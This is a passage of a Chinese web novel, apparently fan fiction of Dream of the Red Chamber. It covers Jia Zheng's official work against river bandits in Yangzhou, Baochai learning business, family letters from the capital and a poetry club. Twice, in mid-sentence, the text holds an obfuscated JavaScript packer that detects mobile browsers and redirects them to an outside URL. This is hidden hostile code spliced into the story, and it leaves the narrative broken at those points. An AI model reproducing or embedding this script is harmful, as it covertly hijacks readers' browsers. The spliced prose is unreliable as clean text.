贾政叹口气,这个大哥真是荒唐,肯定是被王爷警告过了,掏的赔罪钱。 “因为赔了几千银子,大老爷就找琏二爷填亏空。琏二爷没钱,被大老爷一顿骂。二爷又去找二奶奶要钱,两人吵了一架,二奶奶吩咐平儿姑娘当了一些首饰,才拿了钱。”潘武又说道。 “这还引出另一件事,正好我的一个同乡,也是我的手下,他说酒楼里有一个店小二,与那次撺掇我们村的人去闹事的人,相貌很是相似。” 贾政瞬间勾起了兴趣,忙追问道“说下去···” “我便留了心,让我同乡跟了那人几日。才确定那人正是撺掇闹事的人,并且他总是私下里进出忠顺王府。”潘武回道。 事情到这里,便说得通了。原来蓄意捣乱贾政公事的人,购买贾府炭窑木炭想要陷害的左思嘉都是一伙人,都是忠顺王爷的人。 贾政暂时放了心,既然知道了背后的人是谁,便不在乎他的动机了。无非是曾经结过仇怨,想要伺机报复。 “那酒楼应当是王府的产业,你派几个人稍微盯着,不要引人注意。”贾政吩咐道。 潘武应下了。 “二奶奶那边有什么事没有?”贾政又问。 “二奶奶与他兄长一起放印子钱,据我所知,已经放了五六笔,大约有一千多银子。” 贾政听了倒不意外,王熙凤向来是个聪明人,她出此下策,也是因为府里的开销太多,她需要填补亏空。 府里上下省俭主要是为了传出去让皇帝高兴,并且改革家族风气,真正花钱的地方多了去。就他那大哥与侄子,不知道挥霍了多少要让王熙凤填补呢,只是放印子钱却不是好办法。 贾政叹口气,又吩咐潘武“你找些人故意干扰他们,让他们不容易找到下家。却也小心被王仁欺负了,王仁是个心狠手辣的。” 放印子钱容易被抓住把柄,不是长久之计,虽然无奈,但贾政也只能先断了王熙凤的这条财路。 潘武一一应下了。 贾政虽然有心帮助王熙凤,但目前找不到合适的机会。直接给她钱让她不要再放印子钱,也不是个好办法。贾政知道。王熙凤的困难不仅仅在于钱。 贾政可以勉力将王夫人与宝玉探春带出贾府,让她们去学堂读书,离开那个金色笼子。他暂时却帮不到迎春,惜春,王熙凤,还有更多困在府里的女子。 在那个金碧辉煌的贾府,被困住的大多是其中的女子。男人们却个个附着在她们身上,不仅要吸她们的血,还要嚼碎她们的骨头,继续滋养这片泥滩。 29. 别有人间行路难 贾政与潘武谈罢,便让周瑞媳妇安置潘武的住处,让他去休息了。 贾政坐在书房想了一会儿,去找了宝钗。 宝钗此时正与王夫人薛姨妈一处待着,薛姨妈教宝钗做针线。 贾政与夫人和薛姨妈聊了几句,说京城来了人,带了一些土产,让她们一会儿分了。并说下午得了空,一起写封信送到京城家里。 随后,贾政又道“宝钗,我那里正好有京城来的一样玩意,想不想看看?” 宝钗本来并不喜欢什么玩的,只是她看贾政神色,就知道贾政有话要说,便露出感兴趣的神情说道想看。 “那么我带外甥女先去书房了。”贾政说罢,就与宝钗去了书房。 二人在书房坐了下来。 贾政开门见山,直问道“宝钗还想学做生意吗?” 宝钗很是认真地点点头,回道“现在家里的生意没有主事人,哥哥也不成器,我愿意为家里分担。” 贾政笑道“你哥哥现在也去铺子里学做生意了,家里的事也不一定要你来打理。” 宝钗却轻轻摇摇头“姨夫,我年纪虽小,却看得分明。我哥哥即使能被管教得不再做坏事,但他却没有做生意的天分。而我有这种天分,并且我自信可以做好。” 贾政惊讶宝钗说得直白,就继续听她说。 “哥哥其实对我与母亲都还算关爱,但他却管不住自己,各方面的天分也欠缺。他现在的年纪,若是平常人家的男孩,应该要出去做一番事业了。”宝钗顿了顿又继续说 “我这么说不是因为看不起他,我也想他可以好好的,母亲和我也能少替他担心。只是失望的次数多了,就不想再抱有期望了。” “刚来扬州那天,哥哥偷偷去酒楼,回来时喝醉了。”宝钗轻轻叹口气,又继续说“父亲刚去没多久,哥哥忘了我们还在孝期。他之前为了香菱,与人冲突,差点打死那人。如今得到了香菱,却又毫不在乎。” 宝钗断断续续说了许多,难得倾诉她的苦楚,“所以我不想再将期望放在别人身上,我要靠自己,只有我自己做出一番事业,母亲才能放心依靠我。”说到这里,宝钗松了一口气,额头竟然渗出了细细密密的汗珠。 “宝钗,你是个好孩子。”贾政被宝钗的话震动,也缓了一会儿。 “学生意的事情暂时不告诉你母亲,我们私下进行。”贾政说道。 宝钗点点头。 “你细心又聪慧,平日里在你母亲身边已经学到了不少。所以我想你便先为我打理生意,边做边学。你有了经验,打理起自家生意,便游刃有余了。”贾政笑道。 宝钗却有些惊讶,害怕自己做不好。 “不用担心,我派人与你一起,只要不出大错就没关系。凡事总是在错误中前进的。”贾政说道。 宝钗记住了贾政的最后一句话,慎重点了点头,并道了谢。 “去与姐妹们玩一会儿,也不要总是将自己紧绷起来。你还是个孩子!”贾政劝宝钗去玩玩,放松心情。 宝钗笑着走了。 宝钗离开后,贾政又叫来了潘武,吩咐道“日后你与我外甥女宝钗一起处理炭窑的事务。凡事都可以告诉她,没有什么需要隐瞒的。你只记得教她些实际的事务与要领,若是犯了错,你便事后再指点。就在我的书房办公,记得避开夫人与姨太太。” 潘武恭敬答应了。 安排好家事,贾政次日去了衙门。京城来的袁三保已经安顿好了,今日也来当差,做的是督水司主管。 “贾总河,昨日淮河上有两只货船被劫,死了六个人,其中有一个洋人。”水务衙门的总管齐鸣向贾政汇报。 贾政点点头,问道“是官船还是商船?” “民间往京城运南货的船只,据船主说,总共损失了八千银子。”齐鸣补充道。 “那确实不算少了。死的洋人什么相貌?”贾政想知道是哪国人。 “皮肤黝黑,身量不高,却很壮实,大约是交趾或者是天竺那里的。”齐鸣对洋人也不了解,这个信息是邸报中写的。 “那船上有倭人吗?”贾政又问。 齐鸣摇摇头“那两只船上没有倭人,江南这些水运发达的地区,的确时常有倭人,屡禁不止。广州十三行和福建泉州那里,来往的倭人与红毛番,要比江南更多。” 贾政知道近代内外贸易频繁,屡禁不止,各国的商人除了贩卖常见的货物,更多的便是烟土,他最担心这个。 “可知道那些洋人主要贩卖什么货物?”贾政又问道。 “之前案例搜查货船时,我们所见到的大多是些小玩意,玻璃制品,木雕摆件之类的。他们更喜欢咱们国家的物品,因此带来的货物并不很多。”齐鸣详细说道。 “烟土呢,有没有?”贾政又问。 齐鸣摇摇头“没有见过也没听过。” 贾政没再细问,齐鸣所说的应当是他所知道的全部了,也许此时并没有烟土贸易。 贾政要来邸报,自己认真看过,没觉得有什么复杂。大约是水匪抢了两只货船,其间杀了几个人。 江南地区的水运发达,水匪也很猖獗。历朝历代都要剿匪,但却无法根治。说到底部分人还是因为日子过不下去了才去做匪寇的。 剿灭水匪并不在贾政的计划中,除非圣上有了指令或者水匪为患四方,到了不治理不行的地步。不然以现状来看,他初来乍到便要剿匪,只会让自己死得更快。 “既然出了这种事,这些日子咱们更要上心些。各个渡口继续严加检查,每处重要驿站最好要增派人手,保护货船客船。”贾政吩咐道。 水务衙门要管理的不只是漕运,还有河道与水利工程建设。只是现在其他两处没什么要事,便可以抽调人手负责漕运。若是到了雨季,河道方面便需要更多人手了。 下午,贾政亲自带着水务衙门几位主管去了扬州渡口,查验来往货船。 之前这些事情都是由衙役来做,几位官员见副总河贾政都亲自上手了,他们也不敢托大,跟在贾政后面,也忙碌起来。 当时对于漕运的管理多为以下几处:收取税金,是否装有禁运物品与罪犯,船只安全检查等。 其中对江南地区盐茶粮食的税金便是朝廷收入的重要来源。由此也可见林如海与贾政的职务有多重要。同样,也很危险。 贾政此举既是想亲力亲为,了解一些实际东西,也想起个带头作用。 他查过两只货船,都是几家人合资的小船,靠进京贩卖一些茶叶布匹赚钱。 这种小规模的货船,船工也都是自家人,不论男女,一起做活。恰恰这种小货船很容易被水匪盯上,因为他们缺乏自卫能力。 船主是一个中年男人,模样看起来很是沧桑,手脚却很麻利。见了贾政和他身后的官员,船主有些紧张,担心是自己的船出了问题。 贾政柔声道“我们只是来办公事,随意问问,您不用紧张。”说罢见船主仍皱着眉头,贾政就轻轻拍了拍船主的肩膀,问道“船上装了多少货物,都有什么呢?” 船主详细回道“统共三家凑了一千银子,买了一些茶叶,云南的银器,还有扬州布庄的布匹,打算运到京城去卖。” “在京城可有熟悉的买主?”贾政又问。 那船主点了点头,“有几家铺子喜欢我们的货,大部分很快就能卖掉。” “卖不掉的呢?” “就去河北或是山西再走一走,总要卖完了才能回扬州。” “这么一趟来回多少时间呢?大约能盈利多少?”贾政问得也详细。 “来回一趟大约三个月,若是在山西河北多耽搁一些,那就要四五个月了。这么一趟下来,可以赚四五百银子。”船主说罢笑了笑。 小本生意,三家人出资半年赚五百银子,也够普通家庭花用了。只是相比于他们承担的风险,利润却显得微薄,官府还要从中抽取税金。 贾政笑着点点头,吩咐手下去将刚才翻乱的货物整理好,便放行了。 他们查验时正好遇到薛家的一只货船,押货的人正是管家薛胜。 薛胜见了贾政,急忙上前行礼。 “怎么太太让你亲自押货呢?”贾政问道。 “老爷去了之后,薛家的南北生意暂时就停了。这是最近的第一宗生意,太太与大小姐都觉得应当格外小心,就吩咐我去,另外京城铺子的各个掌柜,也需要再敲打敲打。”薛胜回道。 “往京城去的家信带好了?”昨晚贾政与夫人孩子们写了家信。 薛胜笑道“带好了,还有太太和姨太太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14947728|160862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打点了许多扬州土产让我带到贾府。还有林老爷也准备了许多东西,林姑娘也交给我一封信,让我一并送到。” 薛胜办事妥当人又忠厚,这也是薛姨妈重用他的原因。 贾政笑着拍拍薛胜肩膀,又叮嘱道“昨日淮河上水匪劫了两只船,还死了人。你此行一定要小心谨慎。每夜一定在渡口停船,不要在荒僻地方停泊。每日记得检查船只安全,不要因此出事。” 薛胜谢过贾政,认真应下了。 再过两个月就到雨季了。有的地方要遭旱,有的地方却有水灾,更不用提漕运这里又会有多少事故与水匪劫掠。贾政想到这里,认为应当提早应对。 回了衙门,他召集了众官员,先商议了河道的事务。 “现在还没到雨季,咱们的公务也清闲。我建议咱们提前做好准备,以应不时之需。”贾政说道。 官员们纷纷赞同,等着贾政指派任务。 “河道方面就做好日常维护,该整固的就提前去做。这是其一。”河道司的官员领了任务。 “江南地区是主要的粮食产区,四周又多湖泊。虽然解决了灌溉问题,但年年却都有水灾。”贾政对督水司主管袁三保说“将主要河流做好疏浚,修筑堤岸,并确保各处闸口随时有人看守,以备雨季泄洪。” 袁三保恭敬答应了。 “你初来乍到,若有拿不准的地方,副管事多为你指点。”贾政又对袁三保说。 那副管事听了,也马上应允了。 “至于漕运方面,目前除了常规事务,还需要加大在各处渡口的检查力度。确保没有禁运物品,这是第一。”贾政想了想,又问齐鸣“我们的人手是否足够在夜间检查河道周边停泊的船只?” 齐鸣有些为难“不知大人的具体命令是?” “如果人手不够用,那么便随机检查。每个渡口咱们都有衙门,那便将渡口之间的河道分成若干段,每天随机查一处。”贾政说道。 齐鸣点点头“如果只是这样,那么人手还是够用的。” 贾政又继续说“主要检查事故易发的河段,即使不能抓住水匪,也要震慑他们。”他看看齐鸣,说道“这很重要,便交给你来安排。” 齐鸣也恭敬应允了。 “还有在漕运的日常事务之外,各级官员,底下的衙役,都要多多关注洋人,尤其注意他们携带的货物,如有疑虑的,即刻通知我。这点请各位迅速通知到各处。”贾政吩咐道。 众官员都点点头,表示听从。 “今日我所吩咐的事情,件件都是要事,请各位一定专心去办。”贾政严肃道。 贾政觉得今日安排的事务已足够多,需要循序渐进,就让他们各自散了,没再说什么。 从衙门离开,贾政就回了家。王夫人正与薛姨妈闲聊,看到贾政回来,都笑了笑。 “聊什么事,这么开心?”贾政坐在王夫人旁边,自己倒了杯茶喝。 王夫人又笑了笑,说道“宝玉这孩子成日与姐妹们在一处玩闹,总是闹些笑话出来。” 贾政便问“他怎么了?” 薛姨妈解释道“也没什么特别的。那会儿在林家,他们姐妹几个在花园饮酒作诗。宝玉不小心撞到了香菱丫头,香菱还没有怎么样,宝玉却左一句抱歉,又一句我错了,请姐姐原谅。 黛玉和探春偏还逗他,故意说香菱被撞的腰也直不起来,只有宝玉立刻做一首道歉诗,香菱才原谅他。哄的宝玉忙忙做了一首诗,他们又说不好。宝玉却实在想不出来,又求了探春三姑娘代他作诗,许诺出去了许多好东西,姐妹几个才放过他···” 贾政笑道“宝玉懂得关心姐妹,这点很好。况且他待香菱丫头也与别人没有分别,这更说明他很难得。” “我和姐姐回来仍觉得有趣,她又说了一些宝玉闹的笑话给我听。”薛姨妈说罢,用手帕掩住嘴巴,轻声笑着。 “宝玉单纯,天然一颗赤子之心。”贾政叹道。 越和这些孩子们接触,贾政越懂得他们的可贵之处。 哪怕没有那块通灵宝玉,宝玉也是这个时代难得的疼惜姐妹的好孩子。再说宝钗黛玉探春三姐妹,哪一个不是人中龙凤呢? 这些孩子们太好,既可爱,又可怜。贾政忍不住要为她们的成长保驾护航。 30. 浮云流水人团聚 过了三日,林如海王夫人薛姨妈三人为自家儿女打点好了去学堂读书所需的东西,并备好了拜师礼品。 白鹿书院的晏乐先生很是满意又收了三个聪慧的学生,宝玉也如愿以偿去了隔壁的青崖书院,正好可以与姐妹们一起读书。 只是那青崖书院的先生竟然是那日他们偶遇的钓鱼翁,名叫时清。 时清此人看上去有些跳脱不羁,这让林如海见了有些担忧。毕竟宝玉读书的事情是很重要的,王夫人也拿不定主意,二人又去问过贾政。 贾政的回答是先让宝玉去一个月,视情况而定。林如海与王夫人也就将信将疑的把宝玉送到了青崖书院。 只有宝玉见了时清先生最高兴,因为他欢喜自己的老师不是个刻板的书呆子。 青崖书院才开办不久,除了宝玉只有两位男学生,是附近村子的,读书很刻苦,干活也勤快,宝玉喜欢他们质朴的单纯,很快也与他们融洽了起来。 白鹿书院开办已有十来年,目前共有二十三位女学生,出身各异,但互相都很友善。 宝钗黛玉探春三姐妹虽然有一身千金小姐的气度,只是三人也都很和善,人又聪慧活泼,也很受同学们的喜欢。 晏乐先生日常授课除了讲解古文经典,引发学生的思考,还总是亲自带着学生们去乡间田地体验农民生活,学习书本上少见的事务。也会去街镇市集,让学生体悟江南地区各样商业活动的进行。 这种授课方式很是不同,却很受宝黛探三姐妹的喜欢。她们每日放学回了家,总要在晚饭时讨论白日里学到的东西,让林如海贾政都很诧异。 在起初的惊叹之后,林如海贾政都放了心。因为他们看到,孩子们不仅典籍读懂了不少,更对人情事理,百姓生活以及市井活动都有了更多了解。 青崖书院学生少,有时也一起随着白鹿书院的学生们去各处活动,时清先生也会亲自教三个学生种地栽花,采茶炒茶,做木工,这正和了宝玉的个性。成日里总不见皱眉头,没有不高兴的时候。 孩子们在学堂读了两个月的书,每人都有了很大的变化。 因为晏乐先生每日都亲自领着学生做五禽戏,并四处探索学习,黛玉的身体健壮了许多,很少再吃药了,心胸也随之开阔许多。 宝钗在学堂之外,日日都与潘武一起打理生意,在学习中进步很快。除此之外,她也逐渐开始打理薛家在扬州的几个铺子。薛姨妈本来不想让女儿辛苦,只是禁不住王夫人的劝解与宝钗的“纠缠”,慢慢也就放心了。 探春本来就身体健壮,人又活泼,在书院又结实了许多朋友,人更开朗,眼界也更开阔。 宝玉更不用说,生来就是活泼好动的个性。在时清先生的教导下,宝玉身上那种娇脾气也很是改了一些,对人情事理也有了一些体会。 只有薛蟠是个例外,他在自家铺子做伙计,成日里只想着怎么偷溜出去玩闹,完全不顾管家对他的教导。薛姨妈为此不知流了多少泪,又不知费了多少口舌,总不见效。 贾政虽然不时也会敲打薛蟠,只是效果甚微。往往乖巧不了几天,就又回归本性了。 经过薛姨妈的同意后,贾政直接将薛蟠安排到了扬州治下的一处偏远农村,让他与袁三保一起修堤坝去了。 贾政的说法是,先让他受几个月皮肉之苦,再看他有无变化。薛姨妈起初也舍不得,但更无奈儿子的荒唐幼稚,只好同意了。 薛家的管家薛胜押送一船货物去了京城,人还没有回来,先送来了三封信,并寄来了许多贾母与王熙凤带给孩子们的吃食玩意。 信来时贾政林如海王夫人薛姨妈正坐在花园饮茶闲聊。 第一封是薛胜报平安的。信里说他们的船行至山东与江苏的交界地带,一个晚上,附近停泊的三只船都被水匪劫掠,货物被一抢而空,船员略有死伤。薛胜因为听了贾政的叮嘱,行船很是谨慎,每晚都固定在渡口旁停靠,因此没有被劫。 贾政前些日子就知道了又有船只被劫,却没想到薛胜也刚好经历,心里也高兴自己提前叮嘱了几句。薛姨妈对贾政的感谢更不必说。 薛姨妈知道贾政也嫌谢礼太生分,亲倒了一杯茶,递到贾政手边。 “姐夫一定饮了我这杯谢茶。”薛姨妈笑说。 “人货平安就好了,妹妹总是这么客气。”贾政笑着接过了。 “话虽然这么说,但姐夫总是帮我们,我还是有些过意不去的。”薛姨妈笑道。 “我记得你小时候可不是这样的,拿了我许多好东西,也从没有谢过我呢?”王夫人笑着调侃妹妹。 “姐姐也学坏了,我哪次没有向你道谢呢?”薛姨妈紧挨着王夫人坐下,抱住她一只手臂,轻轻摇了摇。 “让我想想啊。”王夫人轻轻摇摇头,故作思考状。 薛姨妈拍了拍王夫人的手,笑道“根本就没有过!所以姐姐想不出来!” “不对不对···”王夫人摇摇头,“应该是次数太多了,我一时想不起来了!” “哼!哪有当家太太还这么顽皮的!”薛姨妈笑骂道。 “亲眼见了,我才相信你们姐妹俩小时候都顽皮得很。”贾政抿了口茶,装模作样地说道。 “这可不关我的事,姐姐你自己去和姐夫解释吧。”薛姨妈起身坐到了王夫人对面,也捧了杯茶,偷偷笑了笑,又故作无事地喝了起来。 王夫人笑着看了贾政一眼,被贾政故作严肃的回看逗笑了。笑过,也没说什么。 薛姨妈暗中观察,又被贾政与王夫人的互动逗乐了。 林如海在旁边全程目睹了这三个人的玩闹,微微笑笑,觉得这样也很好。 夫妻之间不应该只有相敬如宾,姐妹之间也不应该只有尊重爱护。虽然已是中年,但总还有那么一些残留的,属于少年少女的活泼顽皮仍在。 第二封信是京城贾府的。王夫人吩咐丫鬟锦屏把几个孩子叫了过来。 不一会儿,宝玉黛玉探春宝钗四姐妹就笑闹着过来了,后面还有袭人与香菱。 贾政初次见到香菱,就暗中调查过香菱的父母身在何处,只是一直没有结果,也不便此时告知她的身份。如今她与姑娘们相处甚好,暂时也不着急。 贾政让宝玉拆开信读。 “信是二姐姐写的!”宝玉刚一看,又惊又喜,忙喊道。 “让我看看!”探春也凑到跟前,看了一眼“二姐姐的字写得越发好了···”说了这句,微微有些哭腔。探春走到王夫人旁边,半个身子埋到了王夫人怀里。 “二姐姐说咱们去了扬州之后,她没事情做,日日练字,想着下次见面一定要将林妹妹和三妹妹比下去。”宝玉读到这里,心里也思念姐姐,有些低落。 黛玉因在京城住了半年,那时她们姐妹四个相处和睦,如今见了迎春的信也有些难过。 宝钗接过信读了起来。 “老太太说想念宝玉黛玉和探春丫头了,问什么时候回来京城?家里将各个时节京城的吃食准备了一些,预备随信一起送到扬州给孩子们。”宝钗顿了顿,看众人神色尚好,就继续读。 “老太太还说,她身边有迎春惜春与史家湘云姑娘陪着,鸳鸯姑娘日常照料更是细心的没话说。凤姐姐也将府里上下打点的妥当,让二老爷与太太不用担心她和家里的事。在外好好照顾自己与孩子们。” 末尾还有一句迎春的话“信封里还有一张惜春四姑娘画的人像。”宝钗读罢,拿出信封中的那张折起来的画纸,递给了宝玉。 黛玉探春也凑过来看,画上是迎春与湘云在一起下棋。惜春年纪还小,画工青涩些,只是寥寥几笔,却很有神韵。 “你们不要难过了,迎春特意寄来画像,也是想宽慰你们。”宝钗柔声安慰几人。 “宝钗说的对,既然家里一切都好,咱们在外就放心了。你们若是想念京城家人,等我抽时间亲自带你们回京看看,好不好呢?”贾政笑着说道。 孩子们也陆续收敛了悲容。 “老太太寄来的东西在周瑞媳妇那里,你们快去看看吧!”王夫人笑着说道。 孩子们走后,贾政拆开了第三封信,元春的信。也没什么顾忌,当众读了。 信中说的都很平常,照例问候家人。另外说宫中事事都好,让他们不要惦念。贾政读罢信,又细细看了一遍,发现了一处藏头。 是忠顺两个字。 原来元春在宫中也注意到了忠顺王爷的事情,看来还有更多贾政所不知道的。 “元春现在在宫里做女史。”贾政向林如海说道。 林如海点点头。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14947729|160862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “只是我一直想找机会将她接出来”贾政说这句话时,看了看夫人,薛姨妈正宽慰她。贾政看她神色尚可,就放了心。 “按理宫中女官五年一次轮换,只是也不是人人都有机会出宫的。”林如海有些担忧。 贾政叹口气“当时糊涂,让元春进了宫,后来日日都在后悔。只好想尽办法多在圣上那里立几件功,看能不能得到圣上体恤。” 林如海宽慰道“事在人为,总还是有机会的。” “那就借如海吉言了!”贾政笑道。 薛姨妈听到这里,心里也有了考量。前些日子,宝钗就与她商量过,也想进宫选女官,要是能选作公主陪读之类的官职,也是一件大好事。 只是今日听了贾政与林如海的谈话,让她本来有些动摇的心思彻底消失了,无论如何也不能让女儿进宫,皇宫不喾于龙潭虎穴。 她还没有拿这件事与贾政王夫人商议,今日之后,也没有必要再谈了。 连续下了几场雨,天晴之后,方觉酷热,扬州的雨季也就来了。 与京城不同的是,江南的夏日闷热又潮湿,王夫人与孩子们都不太习惯。 书院放了两个月假,孩子们也不用每日再去学堂,只是待在家里却也无聊,但外面又下雨,也出不去。 探春最先想到好点子,她们起了一个诗社。 四姐妹各个都是擅长诗词的,再加上香菱自从到了扬州,就开始学读诗写诗,她们又有了可以指点的对象。小小诗社,每次都办得很热闹。 有时王夫人与薛姨妈也来看他们作诗玩耍,两个母亲虽然不懂诗句,但也可以一起玩行酒令等游戏。 锦屏与袭人也都是办事妥帖的人,王夫人安心让她们俩也一起玩,顺便照看孩子们。 孩子们的学堂可以因为雨季而放假,但贾政的公事却停不下来。 这几个月来,偶有商船被劫,幸好人员伤亡不多。 贾政也看到各处衙门送来的邸报,并无异常,所以只做寻常事件处理。 只是因为贾政提早为雨季做了准备,至今日,各处渡口都紧紧有条,较之往年,恶性事件的确少了一些。 雨又下了一夜,贾政一早到了衙门,还没坐定,先收到了齐鸣送来的邸报。 扬州治下的湖平县水务衙门,在离渡口不远的运河沿岸,发现一只大型货船被抢,船员伤亡竟有五十多人。 这不是一般的案件,人员伤亡众多,货物损失巨大,因此齐鸣一收到邸报,就匆忙报给了贾政,请他处理。 “货船是扬州秦氏粮庄的,他们不只做粮食生意,还有布匹茶叶海外贸易,所涉甚广。”齐鸣解释道。 “海外贸易?在渡口检查时,船上有些什么货物?”贾政问道。 齐鸣回道“都很常规,也案例交了税金。” 贾政自知问不出什么,打算亲自去一趟湖平县调查。 事出紧急,贾政先吩咐好了衙门的人两个时辰后起程,自己就匆匆回了家。 “不用带许多衣物,离得很近,大约也不会待几天的。”贾政笑着对正忙碌的王夫人说。 王夫人隐隐有些担忧,但不好表现出来,叮嘱道“老爷在外面查案,记得照顾好自己,平平安安回来。” “我又不像宝玉,时刻需要人照顾。”贾政故意逗笑。 王夫人却不理会“我只是不太放心,以前在京城的时候,哪里需要查什么凶杀案呢?”说罢叹了口气,难掩话中的关怀忧虑。 贾政握住夫人手掌,轻轻摩挲了一会儿才轻声道“我会平安回来的。” 王夫人摇摇头,贾政做事虽然妥帖,但亲自去事发现场调查,难免不受些皮外伤,这还是最轻微的。 “寻常的水匪劫船,也会杀这么多人吗?”王夫人又问。 贾政摇摇头,出自一种直觉,此行不会很太平,少不了艰难险阻。 “所以说这个案子很难办了···”王夫人欲言又止。 “我心里隐隐也觉得这事很复杂”贾政说罢,意识到自己失言,忙笑道“总之相信我就是了。” 他双手握住夫人的双手,看向她眼睛深处,秀丽眼眸中有沉重的担忧与关怀。 贾政笑了一下,握紧夫人双手,忽然感觉前路也没那么可担忧了。 31. 黄梅雨里诗社兴 贾政临走时说大约要去四五天,并让王夫人不要告诉孩子们具体的原因,只说他去县镇查看工程去了。 雨淅淅沥沥下到天明,王夫人整夜难眠,心里的担忧快要溢出来,却无人倾诉。这种担忧大约是一种直觉。 之前在京城时,贾政在工部衙门做事,很是清闲。即便督造宫殿,也才两三个月,没有什么危险。如今来了扬州,还没多长时间,就遇到这么严重的案子。 办得妥当还好,若是办得不妥,圣上那里难免不会怪罪。更不用说查案时的凶险了。 王夫人整夜陷入这些想法中,难以成眠。简单梳洗过后,她也没有用饭,直接去了薛姨妈屋里。 “姐姐昨晚没有睡好吗?看起来没什么精神。”薛姨妈说罢,为王夫人倒了杯茶,又轻轻抚摸姐姐脊背,以作安慰。 王夫人摇摇头,抿了一口茶,问道“宝钗与探春在林府那边?” 薛姨妈点点头,“这几日孩子们也不用去学堂,各自待着也无聊。我就让她们住在一块儿,也不用下雨天来回走了。” 王夫人听罢,摆摆手示意丫鬟们退下。 “我有些担心老爷。”王夫人一边说一边揉着眉心。 “姐夫不是去县镇督造工程去了吗?往常这样的事三五天也就回来了。姐姐有什么好担心的?”薛姨妈只以为是王夫人多虑了。 王夫人却轻轻摇摇头。 “是不是最近休息不好,才容易忧虑呢?”薛姨妈又问。 王夫人又摇摇头,心里担忧的事实在不能说。 “你说你,孩子们乖巧懂事,姐夫也很是体贴你。如今又在扬州生活,既不需要日日去老太太那里立规矩,也不用管那一大家子的事情,还有什么可担心的呢?”薛姨妈调侃道。 王夫人闻言,又想到了贾政临走时说的话,轻轻笑了,心里的乌云忽然散去大半。 “明白了就好,就说你是把自己闲出毛病了,万一再病一场,姐夫回来还要日夜照顾你。”薛姨妈说到这里,自己先笑了。 王夫人面色微红,佯怒道“你又来嚼舌根了!” “可惜我说一百句都不如姐夫的一句话管用。”薛姨妈边说边摇头,故作难过。 “罢了,不说这个了。”王夫人说道。还是不要杞人忧天了,静待消息吧,王夫人心想。 薛姨妈吩咐丫鬟将早饭送了上来。 “你怎么知道我没吃饭?”王夫人问。 “姐姐这么早就过来,还愁容满面的,我还能不了解你吗?”薛姨妈笑着,为王夫人盛了一碗虾仁山药粥,又说“吃吧,吃过饭咱们去找孩子们。” 此时,林府花厅内,正是一片忙碌。 “将瓜果摆到这里”黛玉吩咐丫鬟道。“将父亲前天送来的绍兴酒也拿过来,记得要烫得滚滚的。” 探春宝钗也在旁边帮忙。 自从回了扬州,王夫人与薛姨妈日常打理家事,也常带着孩子们在跟前。几个女孩都聪慧,学得很快。尤其是黛玉,因为家里没有女主人管事,她自觉要为父亲分忧。这些日子也渐渐揽过了家里的大半事情。 “宝姐姐,你看林姐姐,操持起事情来很有几分样子呢!”探春打趣黛玉道。 宝钗赞赏地看看黛玉,对探春说“黛玉确实和我刚见她时不太一样了,更开朗外向了。” 香菱端来了绍兴酒,又笑说“林姑娘又有诗才,办事也这么周全。” 袭人笑笑,拿过香菱盘中酒,借着火炉烫酒。 黛玉笑着轻哼了一声,又忙着布置诗社的用具。 “这样不好吗?每日咱们姐妹说说笑笑,简直是天底下最好的事情了!”宝玉也插了一句。 “既然如此好,二哥哥你今日的题目可有了吗?”探春故意逗宝玉。 只因上次诗社宝玉做东。那日做的是写春景的诗,姐妹三个每人都做了两首,连香菱也做了一首。只是宝玉素来缺少急智,那日又故意想做一首一鸣惊人的。最后憋了一个时辰,只写了三句。把香菱都气得说宝玉怎么如此不争气! 宝玉尴尬笑着,挠挠头说“今日我一定写够两首。” “我才不信呢!”探春笑说。 “宝兄弟素有诗才,只是缺一些急智罢了。今日慢慢想,总会有的。”宝钗好心安慰宝玉。 “有林姑娘与宝姑娘教我作诗,我日后也可以写两首出来。”香菱细声说道。 “看人家香菱多有志气,比宝玉强多了!”黛玉走到香菱身边,摸摸香菱辫子,瞥了一眼正瘪嘴的宝玉。 姐妹四人和香菱每人一椅二几,面前摆了点心热酒,与笔墨纸砚。 “那咱们今日以什么为题呢?”探春先问了。 “这可不就在眼前吗?”黛玉看了一眼窗外,说道。 “以雨为题,没什么意思。”探春轻笑着摇摇头。 宝钗想了想,笑说“黛玉所指,大约不是雨。” “那么是写夏日雨景了?”宝玉又问。 “这个好!我昨日还读了一句诗“连雨不知春去,一晴方觉夏深”,就写雨景吧!”香菱喜道。 黛玉看香菱高兴,也笑了。 探春眼珠一转,有了想法,指着窗外一池荷花,说道“林姐姐要写这雨中荷花,是不是?” 宝钗笑着点点头,附和探春。 黛玉却摇摇头说“我又变了主意,咱们写得宽泛些也使得,今日不如题目就写夏日雨景吧?” 宝玉拍拍手,笑道“就说我猜对了嘛!这个题目我有好句子,一定可以写两首!” 黛玉故意逗宝玉“今日不限篇数,大家就即兴来写吧,随意发挥诗兴!” 探春笑说“倒是轻饶了宝玉。” 宝钗轻摇着扇子,故意说道“改日让他多写几篇文论也使得。” “我才不与你们计较,香菱,咱们俩一起写。”宝玉做了个鬼脸,笑着坐到了香菱旁边。 袭人为宝玉和香菱各倒了一杯热酒,笑说“刚滚好的,趁热喝了酒,便诗兴大发了。” 说罢又为另外三人也倒了酒。袭人不识字,便不参与写诗。 众人一边说笑,一边下笔,花厅内很是热闹。 “今日诗社由谁做东啊?” 众人一抬头,原来是王夫人与薛姨妈来了。 